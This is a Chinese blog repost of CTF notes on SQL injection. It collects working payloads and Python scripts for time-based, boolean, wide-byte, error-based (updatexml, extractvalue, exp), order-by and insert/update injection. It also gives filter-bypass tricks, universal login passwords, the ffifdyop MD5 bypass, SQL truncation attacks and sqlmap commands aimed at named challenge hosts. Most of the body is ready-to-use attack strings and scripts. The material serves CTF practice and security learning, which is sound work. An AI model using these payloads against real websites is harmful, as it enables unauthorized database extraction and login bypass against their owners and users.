IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> CTF-SQL注入入门题型 -> 正文阅读

[大数据]CTF-SQL注入入门题型


参考

https://www.cdxy.me/?p=789
https://zhuanlan.zhihu.com/p/35245598
https://www.anquanke.com/post/id/104319
https://www.virtua1.cn/%E4%BB%8E%E4%B8%80%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98%E7%9B%AE%E5%AD%A6%E4%B9%A0%E6%96%B0%E5%9E%8B%E5%BB%B6%E6%97%B6%E7%9B%B2%E6%B3%A8/

基础

回显
无回显
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
SELECT Company, OrderNumber FROM Orders ORDER BY Company DESC
0x5b [
0x5d ]
0x7e ~
0x3a :
database() 数据库
user() 比如root@localhost
version()
@@hostname (用户)
@@datadir (数据库在文件的位置)
@@version (版本)
@@version_compile_OS (操作系统版本)
information_schema.tables
information_schema.columns
information_schema.schemata
union
select
concat
group_concat

截取

substring
SUBSTRING ( expression, start, length ) 
start 从1开始

例如:/**/and extractvalue(2,concat(':',(select substring(content,30,10) from note ) )) and '
content是字段名

substr(expression, start, length)
start从1开始
substr('abcd' from 3 for 1) 支持from for的形式
返回c

substring_index(str,delim,count)
substring_index(被截取字段,关键词,关键词出现的次数)
select substring_index('aaabbbccc','a','2');
返回 a

select substring_index('aaabbbccc','b','2');
返回 aaab
select substring_index('aaabbbccc','b','-2')
返回bccc

mid()
MID(column_name,start[,length])
支持from for的语法
mid('abcd' from 3 for 1)
返回c

left(str,length) 从左边开始截取字符串
right(str,length) 从右边开始截取字符串

if
https://www.cnblogs.com/xuhaojun/p/9141396.html
mid
MID() 函数用于从文本字段中提取字符。
SELECT MID(column_name,start[,length]) FROM table_name;
column_name	必需。要提取字符的字段。
start	必需。规定开始位置(起始值是 1)。
length	可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
ascii() 返回ascii码
ord() 返回ascii码

if条件语句加整数溢出进行盲注

DNS外传数据查询(data exfiltration through DNS channel)

sql时间盲注

笛卡尔积 heavy query

原理如方法的名字:大负荷查询。即用到一些消耗资源的方式让数据库的查询时间尽量变长。而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积,这样就可以让数据库的查询慢下来而最后找到系统表information_schema数据量比较大,可以满足要求,所以我们让他们做笛卡尔积。

import requests

url = "http://1.2.3.4/index.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
    for j in range(33,127):
        #payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j)
        #payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #flags
        #payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
        payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
        payload_url = url%(payload)
        try:
            r = requests.get(url=payload_url,timeout=8)
        except:
            data +=chr(j)
            print data
            break

benchmark

有时候sleep被过滤,我们可以用benchmark(count,expr)
benchmark()函数重复count次执行表达式expr。他可以被用于计算mysql处理表达式速度。结果值通常是0

select benchmark(10000000,sha(1)),也就是通过计算来延迟

GET_LOCK

sleep被过滤,也可以用这个函数
GET_LOCK(str,timeout)
设法使用字符串str给定的名字得到一个锁,超时为timeout秒

select GET_LOCK(‘a’,1)
利用范围不多,新会话开启并且保持长连接才行

RLIKE

通过rpad或repeat构造长字符串,加以计算量大的的pattern,通过repeat的参数可以控制延时长短

select concat(rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’),rpad(1,999999,‘a’)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b’

例题

安恒周周练29 SLEEPCMS

sleep

例题

2019hgame-week3-sqli2

见2019hgamewp

?id='|| if(length(database())=8,sleep(5),0)%23
import requests
import string
dic='szexcuarity'
flag=''
for i in range(8):
	for ii in dic:
		url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring(database(),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
		try:
			requests.get(url,timeout=3)
			print ii+"false"
		except:
			print ii
			flag+=ii
			break
print flag

import requests
import string
dic='mailrfgents,u'
flag=''
for i in range(15):
	for ii in dic:
		url="http://127.0.0.1/sqli-labs-master/Less-1/?id='|| if(ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i+1)+",1))="+str(ord(ii))+",sleep(5),0)%23"
		try:
			requests.get(url,timeout=3)
		except:
			print ii
			flag+=ii
			break
print flag

127.0.0.1' and (select case when (length(database())=x then sleep(10) else 1 end) and '1'='1
and ‘1’='1
select case when () then sleep(10) else 1 end
' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1
+和and
(substring() from x for 1)

select case when条件触发

SQL CASE表达式是一种通用的条件表达式,类似于其他语句中的if/else语句
case when condition then result

select case when username=‘admin’ then ‘aaa’ else(sleep(3)) end from user;

爆数据库长度
import requests
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(10):
    payload={"X-Forwarded-For":"127.0.0.1' and (select case when (length(database())="+str(i)+")then sleep(10) else 1 end) and '1'='1"}
    try:
        print i
        a=requests.get(url,headers=payload,timeout=5)
    except:
        print i
        break
print i
爆数据库名
key的第一个+,为什么不能是and
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str='wfatgebsdad125df4'+string.ascii_lowercase+string.digits
for i in range(1,5):
    for payload in str:
        key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
        try:
            print key
            r=requests.get(url,headers=key,timeout=4)
        except:
            databaseName+=payload
            print databaseName
            break
print databaseName
---------------------------------------------------------
import requests
import string
url='http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databaseName=''
str=string.ascii_lowercase+string.digits
for i in range(1,5):
    for payload in str:
        key={'X-Forwarded-For':"' + (select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
        try:
            print key
            r=requests.get(url,headers=key,timeout=4)
        except:
            databaseName+=payload
            print databaseName
            break
print databaseName

bool盲注


宽字节注入

先尝试单引号?id=1’  ?id=1%27,发现页面输出的

 引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

 

构造:?id=1%df%27

报错

 

再构造:?id=1%df%df%23

查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字所以得知此题存在宽字节注入

 

开始爆数据库:

?id=1%df%27 order by 2#  

列数得知 2列。

爆库:

?id=-1%df%27 union select 1,database()%23

数据库:sae-chinalover

 

爆列表:

?id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572%23

 爆出这些表:

ctf,ctf2,ctf3,ctf4,gbksqli,news

 

爆字段:

?id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634%23

字段:id flag

 

查询关键字:

?id=-1%df%27 union select 1,flag from ctf4%23

 

利用Sqlmap:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27"  --dbs

跑出库

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  --columns

跑字段:

 sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" -D sae-chinalover  -C flag --dump

跑出flag

 

例2:

 

靶机:安全实验室注入关3

http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php、

 

输入payload

?id=1%df%27 报错 

?id=1%df%df%23 页面正常,存在宽字节注入

 

爆列数

?id=1%df%27 order by 3%23

?id=1%df%27 order by 4%23

发现只有三列:

 

爆数据库名:

?id=1%df%27 union select 1,2,database()%23

库名:mydbs

 

爆表名:

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=mydbs%23

发现报错。。。可能有过滤

那么把mydbs转成16进制:0x6d79646273 (..字符转16进制即可,要转对,有个网址16进制换是转错的。。浪费我好多时间)

?id=1%df%27 union select 1,2,table_name from information_schema.tables where table_schema=0x6d79646273%23

 

得出表名:sae_user_sqli4

爆字段:

sae_user_sqli4 ->7361655f757365725f73716c6934

 

?id=1%df%27 union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x7361655f757365725f73716c6934%23

 

得出三个字段:id,title_1,content_1

爆关键字:

?id=1%df%27 union select 1,group_concat(id),group_concat(content_1)  from sae_user_sqli4%23

 

得到flag

报错注入

报错函数

floor()

' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23
' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

extractvalue()

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
database()被替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )

updatexml()

1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()

exp()

username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
' or  exp(~(select * from(select database())x)) or'
database()被替换为
group_concat(table_name) from information_schema.tables where table_schema regexp database()
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or '  #利用这则表达式代替过滤的'='
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema <> database()))a)) or '  #利用非非逆否命题绕过 '='

polygon()

multipoint()

multpolygon()

linestring()

multlinestring()

GeometryCollection()

例题

实验吧——加了料的报错注入(exp extractvalue报错注入)

爆数据库
username=' and extractvalue/*&password=*/(1,concat(':', database() )) and '
XPATH syntax error: ':error_based_hpf'
后台的查询语句就为
select * from users where username=' ' and extractvalue/*' and password='*/(1,concat(':', database() )) and ' '
去掉注释即为
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
然后猜解表名,因为password屏蔽了=,所以用regexp
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '
XPATH syntax error: ':ffll44jj,users'
猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
XPATH syntax error: ':value'
猜解字段
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '

exp
username=1&password=' and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '
DOUBLE value is out of range in 'exp(~((select 'flag{err0r_b4sed_sqli_+_hpf}' from dual)))'
updatexml
1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
1'/**/a<>nd/**/updatexml(1,co<>ncat(0x3a,(sel<>ect/**/user())),1)%23
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(table_name)/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()),0x7e),1)#
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/group_concat(colucolumn_namemn_name)/**/from/**/info<>rmation_schema.colucolumnsmns/**/where/**/table_name='flag_0d9a'),0x7e),1)#

异或注入

原理
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假

用处
可用于判断过滤
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error

绕过

注释

;%00
#
-- +
双写
<>    o<>r     o<>rder     info<>rmation_schema.tables 

绕过=

regexp
where table_schema regexp database()
非非逆否命题
where !(table_schema <> database())

select substring((select user()) from 1 for 1);
select substring((select user()) from -1);
select id,ip from client_ip where 1>2 union select * from ((select user())a join (select version())b);

绕过空格

/**/
/***/
()
%0a

绕过

双写关键词,过滤空格

 ?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(table_name)/***/frfromom/***/information_schema.tables/***/where/***/table_
schema=database())%23  得到表名为: content

?id=0/***/uniunionon/***/seleselectct/***/1,2,(selselectect/***/group_concat(c
olumn_name)/***/frfromom/***/information_schema.columns/***/where/***/ta
ble_name=0x636f6e74656e74)%23 得到列名为:id,context,title

?id=0/***/uniunionon/***/seleselectct/***/1,2,context/***/frfromom/***/content
%23 得到flag

常规注入

联合查询注入
fuzz 看过滤了啥 没有过滤啥

1
1'
1'%23
1' order by 1%23
1' order by 2%23
1' order by 3%23
1' order by 4%23
' union select 1,2,3%23
' union select group_concat(schema_name),2,3 from information_schema.schemata%23
' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23
' union select group_concat(column_name),2 from information_schema.columns where table_name='xiaohong'%23
' union select sign,2 from xiaohong%23

1 and 1=-1 union select 1,schema_name from information_schema.schemata
1 and 1=-1 union select 1,table_name from information_schema.tables
1 and 1=-1 union select 1,column_name from information_schema.columns

database()的地方替换

(select group_concat(table_name) from information_schema.tables where table_schema=database() )
group_concat(table_name) from information_schema.tables where table_schema regexp database()

SQL约束攻击

SQL语句对字符串处理的时候,字符串末尾的空格会被忽略
“test”和“test    ”是一样的

insert语句中,SQL都会根据SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串长度大于“n”个字符的话,那么仅使用字符串前“n”个字符


思路:
1.在注册处,注册名使用 admin          1  
2.insert插入到该数据库时,由于用户名过长,varchar()只会截取前面的字符串,即admin           (admin加上好多空格)
3.由于SQL处理字符串时,末尾的空格会被删除,所以相当于注册并且修改了admin的账号密码
4.最后使用指定新的admin账号密码登录即可看到flag

sqli格式化字符串逃逸漏洞


万能密码

select * from admin where username=’’ and password=’’

admin’ or ‘1’='1

admin’#

select * from admin where username='admin'#' and password='123'

‘+’

select * from admin where username=''+'' and password=''+''

0

select * from admin where username='0' and password='0'

Aaa’ = ’

\N

select \N from data;

所有数据都返回NULL

MD5

<!--
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
-->


构造 ?password=ffifdyop

ffifdyop字符串的前几位是'or'6,拼接刚才的SQL语句构成

select * from 'admin' where password=''or6xxxxxx

129581926211651571912466741651878684928
是一样的效果

order by注入

逻辑运算符
1 | 1=1

2 | 3=3

2 & 3=2

^
>>
<<

order by 子句对查询返回的结果按一列或者多列排序,默认是升序

在不知道列名的情况下可以通过列的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1和order=2是不一样的

order by可以根据多列排序,因此注入的语句不一定限制与order by的第一个参数,也可以通过逗号去新的列进行注入


order by if(0,name,sleep(2))
select * from data order by id|2;
select * from data order by id&2;
select * from data order by id^2;
还可以使用union,不过要加括号
(select 1,2,3 order by 3 asc)union(select 2,3,4);

例题
过滤了报错注入的函数,=号
chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^1')%2b1

chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp'^7')%2b1

同上也可以
chall.tasteless.eu/level1/index.php?dir=3,)union(select flag from level1_flag)%23

insert、update、delete注入

insert into users(id,username,password) values(1,'user','passwd');

insert into users(id,username,password) values(2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd');

update data1 set year=11 or updatexml(1,concat(0x7e,database()),0) where id=3;

update data1 set year=11 or sleep(3) where id=3;
无效果

update data1 set year=11 and sleep(3) where id=3;
延迟就可以盲注

delete from users where id=2;

delete from users where id=2 or updatexml(1,concat(0x7e,database()),0);


一个insert题目的小思路:

猜测后端逻辑 insert into(name,text) values ('','')

通过insert into(name,text) values ('\',',database())  #  ','')
insert into(name,text) values ('\',',select flag from flag) #  ','')

desc相关

<?php
require('config.php');
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`" or Hacker());
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

``反引号作用是为了区分Mysql的保留字与普通字符而引入的符号

一般我们建表时候都会将表明或者库名加上反引号保证语句正常执行度

create database `user`;

如果不加反引号mysql会将user视为保留字而报错

desc `data` `id`; #可以执行成功,必须有空格
select 1,2 from data` `union select 2,2;#可以执行成功

根据上面的执行条件可以绕过desc语句

而ret[0]只打印数组的第一个值,可通过偏移 limit和offset

数据库计算是从0开始的

offset x 是跳过x个数据,limit Y是选取Y个数据

limit X,Y中表示跳过X个数据,读取Y个数据

paylaod:?table=test``union select database() limit 1,offset 1

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-15 18:21:59  更:2021-12-15 18:22:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:43:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码